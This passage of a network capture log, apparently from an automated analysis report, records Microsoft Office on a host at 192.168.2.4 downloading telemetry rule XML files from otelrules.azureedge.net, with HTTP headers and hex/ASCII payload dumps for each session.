2024-11-25 23:08:43 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:43 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:43 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:43 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 1c03e432-401e-0048-6c5f-3f0409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230843Z-178bfbc474btvfdfhC1NYCa2en000000085000000000fns4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:43 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:43 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:43 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:43 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230843Z-174c587ffdfdwxdvhC1TEB1c4n00000006eg00000000p2qy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:43 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:44 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:45 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:45 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: c6f64b36-301e-0000-4706-3deecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230845Z-178bfbc474btrnf9hC1NYCb80g000000086g00000000nn5n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:45 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:44 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:45 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:45 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: ced86c0b-901e-0083-6556-3fbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230845Z-178bfbc474bh5zbqhC1NYCkdug000000081g00000000d6v4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 23:08:45 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:45 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:45 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:45 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 71a2c45e-801e-008c-45c1-3e7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230845Z-178bfbc474bbbqrhhC1NYCvw74000000086g00000000n6uf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:45 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:45 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:45 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:45 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 2b667d2c-b01e-003d-150c-3dd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230845Z-178bfbc474bp8mkvhC1NYCzqnn00000007v000000000smmn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:45 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:45 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:45 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:45 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: e04d5a2d-b01e-003d-70c1-3ed32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230845Z-178bfbc474b9xljthC1NYCtw94000000084g0000000014ue x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:45 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:47 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:47 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:47 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 46934538-601e-0050-507b-3b2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230847Z-178bfbc474bq2pr7hC1NYCkfgg000000086000000000nh7t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:47 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:47 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:47 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:47 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: e7f051b3-801e-00a0-04bf-3e2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230847Z-178bfbc474bwlrhlhC1NYCy3kg000000080g00000000smrk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:47 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:47 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:48 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:48 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: ff1111db-b01e-0001-075c-3f46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230848Z-178bfbc474bv587zhC1NYCny5w0000000820000000005b4s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:48 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:47 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:48 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:48 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 11f5d02a-c01e-008d-30bf-3e2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230848Z-174c587ffdfb5q56hC1TEB04kg00000006h000000000btb8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:48 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
